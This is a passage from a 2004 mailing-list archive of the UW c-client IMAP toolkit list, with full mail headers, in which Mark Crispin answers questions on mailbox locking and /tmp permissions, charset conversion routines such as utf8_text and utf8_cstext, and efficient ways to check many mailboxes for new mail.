list3.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.05) with SMTP id i5LKGq9M011906; Mon, 21 Jun 2004 13:16:52 -0700 Received: from mxu8.u.washington.edu (mxu8.u.washington.edu [140.142.32.142]) by lists.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.05) with ESMTP id i5LKFx2h024020 for ; Mon, 21 Jun 2004 13:15:59 -0700 Received: from mxout1.cac.washington.edu (mxout1.cac.washington.edu [140.142.32.134]) by mxu8.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.05) with ESMTP id i5LKFweH019429 for ; Mon, 21 Jun 2004 13:15:58 -0700 Received: from smtp.washington.edu (smtp.washington.edu [140.142.33.9]) by mxout1.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i5LKFvh5012698; Mon, 21 Jun 2004 13:15:57 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) (authenticated bits=0) by smtp.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i5LKFv9D014970 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Mon, 21 Jun 2004 13:15:57 -0700 Message-Id: Date: Mon, 21 Jun 2004 13:15:58 -0700 (Pacific Daylight Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: sbenito@sbdglobal.com Cc: c-client@u.washington.edu Subject: Re: corrupt mailboxes In-Reply-To: <46244.192.168.3.225.1087845985.squirrel@intranet.sbdintra.com> References: <44201.192.168.3.225.1087841418.squirrel@intranet.sbdintra.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Sender: mrc@ndcms.cac.washington.edu X-Uwash-Spam: Gauge=IIIIIIII, Probability=8%, Report='__HAS_MSGID 0, __SANE_MSGID 0, __TO_MALFORMED_2 0, __IN_REP_TO 0, __REFERENCES 0, __MIME_VERSION 0, __CT_TEXT_PLAIN 0, __CT 0, EMAIL_ATTRIBUTION 0, QUOTED_EMAIL_TEXT 0, __MIME_TEXT_ONLY 0, __DCC_BODY 0, __DCC_FUZ1 0, __DCC_FUZ2 0, DCC_BULK_LOW 0, REFERENCES 0.000, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Mon, 21 Jun 2004 sbenito@sbdglobal.com wrote: > Is the lock mechanism more efectivelly in this new release?? The lock mechanism is limited by 30+ years of UNIX tradition. > What happend if my /tmp directory haven't got 1777 permisions? You must have 1777 on /tmp and on /var/spool/mail. > I've read somewhere that there are some problems working in aix platform?? Those issue don't have anything to do with your problem. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Thu Jun 24 10:19:41 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 24 Jun 2004 10:19:41 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i5OHJfDf007092 for ; Thu, 24 Jun 2004 10:19:41 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i5OHJdhx021048 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Thu, 24 Jun 2004 10:19:39 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.05) with SMTP id i5OHFX3T018094; Thu, 24 Jun 2004 10:15:33 -0700 Received: from mxe3.u.washington.edu (mxe3.u.washington.edu [140.142.32.137]) by lists.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.05) with ESMTP id i5OHC7Sx064484 for ; Thu, 24 Jun 2004 10:12:07 -0700 Received: from mail.bynari.net (gw1.bynari.net [216.234.228.98]) by mxe3.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i5OHC3xT011669 for ; Thu, 24 Jun 2004 10:12:03 -0700 Received: from mail.bynari.net (localhost [127.0.0.1]) by bynari.net (Postfix) with ESMTP id CF0371E01B5 for ; Thu, 24 Jun 2004 12:12:01 -0500 (CDT) Received: by mail.bynari.net (Postfix, from userid 1001) id 8ABB11E0108; Thu, 24 Jun 2004 12:11:58 -0500 (CDT) Received: from redhook.bynari.net (redhook.bynari.net [192.168.3.111]) by mail.bynari.net (Postfix) with ESMTP id CBAE01E0111 for ; Thu, 24 Jun 2004 12:11:53 -0500 (CDT) Message-Id: Date: Thu, 24 Jun 2004 12:11:52 -0500 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Shawn Walker" To: c-client@u.washington.edu Subject: charset table and how to use them In-Reply-To: References: <44201.192.168.3.225.1087841418.squirrel@intranet.sbdintra.com> Content-Type: text/plain; format=flowed; delsp=yes; charset=iso-8859-15 MIME-Version: 1.0 Content-Transfer-Encoding: 8bit X-Spam-Checker-Version: SpamAssassin 2.61 (1.212.2.1-2003-12-09-exp) on mail.bynari.net X-Spam-Level: X-Spam-Status: No, hits=-4.9 required=5.0 tests=BAYES_00 autolearn=ham version=2.61 X-Antivirus: Scanned by F-Prot Antivirus (http://www.f-prot.com) X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__HAS_MSGID 0, __SANE_MSGID 0, __TO_MALFORMED_2 0, __IN_REP_TO 0, __REFERENCES 0, __EVITE_CTYPE 0, __CT_TEXT_PLAIN 0, __CT 0, __MIME_VERSION 0, __CTE 0, SIGNATURE_SHORT_DENSE 0, __MIME_TEXT_ONLY 0, __DCC_BODY 0, __DCC_FUZ1 0, __DCC_FUZ2 0, DCC_BULK_LOW 0, REFERENCES 0.000, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN How can I utilize c-client charset table to convert characters? I know that utf8_text() can convert the characters, but I'm having mixed results. Thanks, Shawn -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Thu Jun 24 10:43:02 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 24 Jun 2004 10:43:02 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i5OHh1Mt008465 for ; Thu, 24 Jun 2004 10:43:01 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i5OHgxrb018923 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Thu, 24 Jun 2004 10:43:00 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.05) with SMTP id i5OHfKda012380; Thu, 24 Jun 2004 10:41:20 -0700 Received: from mxi2.u.washington.edu (mxi2.u.washington.edu [140.142.33.12]) by lists.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.05) with ESMTP id i5OHcrDE055332 for ; Thu, 24 Jun 2004 10:38:54 -0700 Received: from mxout3.cac.washington.edu (mxout3.cac.washington.edu [140.142.32.166]) by mxi2.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.05) with ESMTP id i5OHcqhm011174 for ; Thu, 24 Jun 2004 10:38:52 -0700 Received: from smtp.washington.edu (smtp.washington.edu [140.142.33.9]) by mxout3.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i5OHcnni030901; Thu, 24 Jun 2004 10:38:49 -0700 Received: from Shimo-Tomobiki.Panda.COM (panda.com [206.124.149.114]) (authenticated bits=0) by smtp.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i5OHckb2011935 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Thu, 24 Jun 2004 10:38:48 -0700 Message-Id: Date: Thu, 24 Jun 2004 10:39:08 -0700 (Pacific Daylight Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Shawn Walker Cc: c-client@u.washington.edu Subject: Re: charset table and how to use them In-Reply-To: References: <44201.192.168.3.225.1087841418.squirrel@intranet.sbdintra.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Sender: mrc@ndcms.cac.washington.edu X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__HAS_MSGID 0, __SANE_MSGID 0, __TO_MALFORMED_2 0, __IN_REP_TO 0, __REFERENCES 0, __MIME_VERSION 0, __CT_TEXT_PLAIN 0, __CT 0, EMAIL_ATTRIBUTION 0, QUOTED_EMAIL_TEXT 0, __MIME_TEXT_ONLY 0, __DCC_BODY 0, __DCC_FUZ1 0, __DCC_FUZ2 0, DCC_BULK_LOW 0, REFERENCES 0.000, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Thu, 24 Jun 2004, Shawn Walker wrote: > How can I utilize c-client charset table to convert characters? > I know that utf8_text() can convert the characters, but I'm having mixed > results. What, exactly, are you trying to do? utf8_text() is the routine to convert from arbitrary character sets into UTF-8 (normalized with pre-composed characters). The new utf8_cstext() routine will convert normalized pre-composed UTF-8 into most character sets (as best it can; Greek text doesn't convert well into Chinese...). To do conversion from one non-UTF-8 character set into another non-UTF-8 character set, you can use the new utf8_cstocstext() routine (I forget if this made it into imap-2004, but it's in imap-2004a). You can do things faster and with less memory if you set up the conversion tables yourself using utf8_rmap() -- Pine does this; look at the routines in strings.c and filter.c in the Pine sources. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Thu Jun 24 11:02:51 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 24 Jun 2004 11:02:51 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i5OI2pKX009294 for ; Thu, 24 Jun 2004 11:02:51 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i5OI2nDt019664 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Thu, 24 Jun 2004 11:02:49 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.05) with SMTP id i5OI1Ccd005156; Thu, 24 Jun 2004 11:01:12 -0700 Received: from mxe1.u.washington.edu (mxe1.u.washington.edu [140.142.32.136]) by lists.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.05) with ESMTP id i5OHx4wc093650 for ; Thu, 24 Jun 2004 10:59:04 -0700 Received: from mail.bynari.net (gw1.bynari.net [216.234.228.98]) by mxe1.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i5OHx2Mf014902 for ; Thu, 24 Jun 2004 10:59:03 -0700 Received: from mail.bynari.net (localhost [127.0.0.1]) by bynari.net (Postfix) with ESMTP id 857C71E014D for ; Thu, 24 Jun 2004 12:59:01 -0500 (CDT) Received: by mail.bynari.net (Postfix, from userid 1001) id 8D06B1E0151; Thu, 24 Jun 2004 12:58:58 -0500 (CDT) Received: from redhook.bynari.net (redhook.bynari.net [192.168.3.111]) by mail.bynari.net (Postfix) with ESMTP id B57441E0143 for ; Thu, 24 Jun 2004 12:58:48 -0500 (CDT) Message-Id: Date: Thu, 24 Jun 2004 12:58:48 -0500 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Shawn Walker" To: c-client@u.washington.edu Subject: Re: charset table and how to use them In-Reply-To: References: <44201.192.168.3.225.1087841418.squirrel@intranet.sbdintra.com> Content-Type: text/plain; format=flowed; delsp=yes; charset=iso-8859-15 MIME-Version: 1.0 Content-Transfer-Encoding: 8bit X-Spam-Checker-Version: SpamAssassin 2.61 (1.212.2.1-2003-12-09-exp) on mail.bynari.net X-Spam-Level: X-Spam-Status: No, hits=-4.9 required=5.0 tests=BAYES_00 autolearn=ham version=2.61 X-Antivirus: Scanned by F-Prot Antivirus (http://www.f-prot.com) X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__HAS_MSGID 0, __SANE_MSGID 0, __TO_MALFORMED_2 0, __IN_REP_TO 0, __REFERENCES 0, __EVITE_CTYPE 0, __CT_TEXT_PLAIN 0, __CT 0, __MIME_VERSION 0, __CTE 0, QUOTED_EMAIL_TEXT 0, __MIME_TEXT_ONLY 0, __DCC_BODY 0, __DCC_FUZ1 0, __DCC_FUZ2 0, DCC_BULK_LOW 0, REFERENCES 0.000, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Thu, 24 Jun 2004 10:39:08 -0700 (Pacific Daylight Time), Mark Crispin wrote: > On Thu, 24 Jun 2004, Shawn Walker wrote: >> How can I utilize c-client charset table to convert characters? >> I know that utf8_text() can convert the characters, but I'm having >> mixed results. > > What, exactly, are you trying to do? > > utf8_text() is the routine to convert from arbitrary character sets into > UTF-8 (normalized with pre-composed characters). The new utf8_cstext() > routine will convert normalized pre-composed UTF-8 into most character > sets (as best it can; Greek text doesn't convert well into Chinese...). > > To do conversion from one non-UTF-8 character set into another non-UTF-8 > character set, you can use the new utf8_cstocstext() routine (I forget > if this made it into imap-2004, but it's in imap-2004a). You can do > things faster and with less memory if you set up the conversion tables > yourself using utf8_rmap() -- Pine does this; look at the routines in > strings.c and filter.c in the Pine sources. > Basically convert ISO-8859-1, UTF-8, ISO-8859-15, etc characters to whatever I need in order to display the characters. Thanks, Shawn From pinedev@shivax2.cac.washington.edu Thu Jun 24 11:06:01 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 24 Jun 2004 11:06:01 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i5OI60Yd009477 for ; Thu, 24 Jun 2004 11:06:00 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i5OI5wX7022827 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Thu, 24 Jun 2004 11:05:59 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.05) with SMTP id i5OI4NkF012880; Thu, 24 Jun 2004 11:04:24 -0700 Received: from mxe4.u.washington.edu (mxe4.u.washington.edu [140.142.33.15]) by lists.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.05) with ESMTP id i5OI1F9Q091398 for ; Thu, 24 Jun 2004 11:01:15 -0700 Received: from waseda.lunarpages.com (waseda.lunarpages.com [216.193.202.245]) by mxe4.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i5OI1Cmk000865 for ; Thu, 24 Jun 2004 11:01:12 -0700 Received: from h00045ad81007.ne.client2.attbi.com ([24.61.40.183] helo=[192.168.0.17]) by waseda.lunarpages.com with asmtp (TLSv1:RC4-SHA:128) (Exim 4.34) id 1BdYXB-0007vt-O0 for c-client@u.washington.edu; Thu, 24 Jun 2004 11:01:13 -0700 Message-Id: <786F3A7B-C608-11D8-AFEA-0003930AECB0@interfacethis.com> Date: Thu, 24 Jun 2004 14:01:09 -0400 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: David Feldman To: c-client@u.washington.edu Subject: checking for new mail in all mailboxes Mime-Version: 1.0 (Apple Message framework v618) Content-Transfer-Encoding: 7bit Content-Type: text/plain; charset=US-ASCII; delsp=yes; format=flowed X-AntiAbuse: This header was added to track abuse, please include it with any abuse report X-AntiAbuse: Primary Hostname - waseda.lunarpages.com X-AntiAbuse: Original Domain - u.washington.edu X-AntiAbuse: Originator/Caller UID/GID - [0 0] / [47 12] X-AntiAbuse: Sender Address Domain - interfacethis.com X-Source: X-Source-Args: X-Source-Dir: X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__MSGID_APPLEMAIL 0, __HAS_MSGID 0, __SANE_MSGID 0, __TO_MALFORMED_2 0, __MIME_VERSION 0, __MIME_VERSION_APPLEMAIL 0, __CTE 0, __EVITE_CTYPE 0, __CT_TEXT_PLAIN 0, __CT 0, SIGNATURE_LONG_SPARSE 0, __MIME_TEXT_ONLY 0, __DCC_BODY 0, __DCC_FUZ1 0, __DCC_FUZ2 0, DCC_BULK_LOW 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN I am a bit of a newbie in all respects, but am learning about both IMAP and c-client in the course of developing a client application. After looking through the documentation I have what I imagine is a pretty basic question: How does one (at both the IMAP command and c-client level) check for new mail efficiently in all a user's mailboxes at once? Thanks. --Dave ------------------------------------------------------------------------ -- David A. Feldman User Interface Designer http://InterfaceThis.com -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Thu Jun 24 11:46:25 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 24 Jun 2004 11:46:25 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i5OIkOeE011698 for ; Thu, 24 Jun 2004 11:46:24 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i5OIkMrf024515 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Thu, 24 Jun 2004 11:46:23 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.05) with SMTP id i5OIih2N013124; Thu, 24 Jun 2004 11:44:43 -0700 Received: from mxu9.u.washington.edu (mxu9.u.washington.edu [140.142.32.174]) by lists.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.05) with ESMTP id i5OIgSs8074498 for ; Thu, 24 Jun 2004 11:42:28 -0700 Received: from mxout4.cac.washington.edu (mxout4.cac.washington.edu [140.142.33.19]) by mxu9.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.05) with ESMTP id i5OIgRSD026307 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Thu, 24 Jun 2004 11:42:27 -0700 Received: from shiva0.cac.washington.edu (shiva0.cac.washington.edu [140.142.37.170]) by mxout4.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i5OIgQQj001311; Thu, 24 Jun 2004 11:42:26 -0700 Received: from localhost (mrc@localhost) by shiva0.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i5OIgQr2006182; Thu, 24 Jun 2004 11:42:26 -0700 Message-Id: Date: Thu, 24 Jun 2004 11:42:26 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Shawn Walker Cc: c-client@u.washington.edu Subject: Re: charset table and how to use them In-Reply-To: References: <44201.192.168.3.225.1087841418.squirrel@intranet.sbdintra.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__HAS_MSGID 0, __SANE_MSGID 0, __TO_MALFORMED_2 0, __IN_REP_TO 0, __REFERENCES 0, __MIME_VERSION 0, __CT_TEXT_PLAIN 0, __CT 0, EMAIL_ATTRIBUTION 0, __MIME_TEXT_ONLY 0, __DCC_BODY 0, __DCC_FUZ1 0, __DCC_FUZ2 0, DCC_BULK_LOW 0, REFERENCES 0.000, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Thu, 24 Jun 2004, Shawn Walker wrote: >> To do conversion from one non-UTF-8 character set into another non-UTF-8 >> character set, you can use the new utf8_cstocstext() routine (I forget if >> this made it into imap-2004, but it's in imap-2004a). You can do things >> faster and with less memory if you set up the conversion tables yourself >> using utf8_rmap() -- Pine does this; look at the routines in strings.c and >> filter.c in the Pine sources. >> > > Basically convert ISO-8859-1, UTF-8, ISO-8859-15, etc characters to whatever > I need in order to display the characters. Unless you are writing a text-based client for UNIX, you should convert everything into UTF-8 and use exclusively Unicode for display. Even if you are writing a text-based client for UNIX, you should still consider using Unicode (UTF-8 is just a means of representing Unicode) as newer versions of UNIX now support UTF-8. The only purpose for any other character set is to accept data in the other character set in incoming mail and files (and possibly from the user's keyboard -- although Unicode is preferred here too), and if necessary to sent mail in a non-Unicode character set (although this is doomed to deprecation). Put another way, most programs should only need utf8_text() and utf8_cstext(). Or, if you feel that you need to be able to convert ISO-8859-15 to KOI8-R or ISO-2022-JP or BIG5, you are probably doing something wrong. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Thu Jun 24 12:06:04 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 24 Jun 2004 12:06:04 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i5OJ64eW012686 for ; Thu, 24 Jun 2004 12:06:04 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i5OJ62I3022396 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Thu, 24 Jun 2004 12:06:03 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.05) with SMTP id i5OJ4OsS016054; Thu, 24 Jun 2004 12:04:25 -0700 Received: from mxu9.u.washington.edu (mxu9.u.washington.edu [140.142.32.174]) by lists.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.05) with ESMTP id i5OJ2Bsa032312 for ; Thu, 24 Jun 2004 12:02:11 -0700 Received: from mxout1.cac.washington.edu (mxout1.cac.washington.edu [140.142.32.134]) by mxu9.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.05) with ESMTP id i5OJ2AIe031387 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Thu, 24 Jun 2004 12:02:10 -0700 Received: from shiva0.cac.washington.edu (shiva0.cac.washington.edu [140.142.37.170]) by mxout1.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i5OJ29Lm014367; Thu, 24 Jun 2004 12:02:09 -0700 Received: from localhost (mrc@localhost) by shiva0.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i5OJ29rV007702; Thu, 24 Jun 2004 12:02:09 -0700 Message-Id: Date: Thu, 24 Jun 2004 12:02:09 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: David Feldman Cc: c-client@u.washington.edu Subject: Re: checking for new mail in all mailboxes In-Reply-To: <786F3A7B-C608-11D8-AFEA-0003930AECB0@interfacethis.com> References: <786F3A7B-C608-11D8-AFEA-0003930AECB0@interfacethis.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__HAS_MSGID 0, __SANE_MSGID 0, __TO_MALFORMED_2 0, __IN_REP_TO 0, __REFERENCES 0, __MIME_VERSION 0, __CT_TEXT_PLAIN 0, __CT 0, EMAIL_ATTRIBUTION 0, __MIME_TEXT_ONLY 0, __DCC_BODY 0, __DCC_FUZ1 0, __DCC_FUZ2 0, DCC_BULK_LOW 0, REFERENCES 0.000, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Thu, 24 Jun 2004, David Feldman wrote: > How does one (at both the IMAP command and c-client level) check for new mail > efficiently in all a user's mailboxes at once? The short answer is: you can't. The longer answer is: Identify a set of mailboxes which merit further probing, and focus your checking on them. In a strictly "check all mailboxes" environment, do a LIST and note which mailboxes come back with \Marked status (if you're paranoid, then choose the mailboxes which don't have \Unmarked status). Then do a STATUS on each of these to check them further, or just SELECT them if the user wants them opened. Alternatively, have a discrimination between "incoming" mailboxes and mailboxes which are strictly archive. Don't even consider the archive mailboxes, which for most users greatly overwhelm the number of incoming mailboxes. If you are a reasonable number of incoming mailboxes, then just have all of these mailboxes SELECTed in separate IMAP sessions; this is the most efficient, best real-time, and least-costly way to monitor a set of mailboxes. Put another way; 5 IMAP sessions monitoring 5 mailboxes is less costly (often *MUCH* less costly) than repeatedly probing those 5 mailboxes in one IMAP session. Sessions are cheap, especially if you use the IDLE command. Polls are not cheap, especially with mail stores that oblige the server has to parse the enter mailbox to satisfy a STATUS. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Thu Jun 24 13:10:41 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 24 Jun 2004 13:10:41 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i5OKAfSs015584 for ; Thu, 24 Jun 2004 13:10:41 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i5OKAd7T024872 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Thu, 24 Jun 2004 13:10:39 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.05) with SMTP id i5OK7PFJ013608; Thu, 24 Jun 2004 13:07:26 -0700 Received: from mxe4.u.washington.edu (mxe4.u.washington.edu [140.142.33.15]) by lists.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.05) with ESMTP id i5OK4q9k111544 for ; Thu, 24 Jun 2004 13:04:52 -0700 Received: from waseda.lunarpages.com (waseda.lunarpages.com [216.193.202.245]) by mxe4.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i5OK4hDI030941 for ; Thu, 24 Jun 2004 13:04:43 -0700 Received: from h00045ad81007.ne.client2.attbi.com ([24.61.40.183] helo=[192.168.0.17]) by waseda.lunarpages.com with asmtp (TLSv1:RC4-SHA:128) (Exim 4.34) id 1BdaSj-0001s5-Cw; Thu, 24 Jun 2004 13:04:45 -0700 Message-Id: Date: Thu, 24 Jun 2004 16:04:40 -0400 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: David Feldman To: Mark Crispin Cc: c-client@u.washington.edu Subject: Re: checking for new mail in all mailboxes In-Reply-To: References: <786F3A7B-C608-11D8-AFEA-0003930AECB0@interfacethis.com> Mime-Version: 1.0 (Apple Message framework v618) Content-Type: text/plain; charset=US-ASCII; delsp=yes; format=flowed Content-Transfer-Encoding: 7bit X-AntiAbuse: This header was added to track abuse, please include it with any abuse report X-AntiAbuse: Primary Hostname - waseda.lunarpages.com X-AntiAbuse: Original Domain - u.washington.edu X-AntiAbuse: Originator/Caller UID/GID - [0 0] / [47 12] X-AntiAbuse: Sender Address Domain - interfacethis.com X-Source: X-Source-Args: X-Source-Dir: X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__MSGID_APPLEMAIL 0, __HAS_MSGID 0, __SANE_MSGID 0, __TO_MALFORMED_2 0, __IN_REP_TO 0, __REFERENCES 0, __MIME_VERSION 0, __MIME_VERSION_APPLEMAIL 0, __EVITE_CTYPE 0, __CT_TEXT_PLAIN 0, __CT 0, __CTE 0, QUOTED_EMAIL_TEXT 0, SIGNATURE_SHORT_DENSE 0, __MIME_TEXT_ONLY 0, __DCC_BODY 0, __DCC_FUZ1 0, __DCC_FUZ2 0, DCC_BULK_LOW 0, REFERENCES 0.000, IN_REP_TO 0' 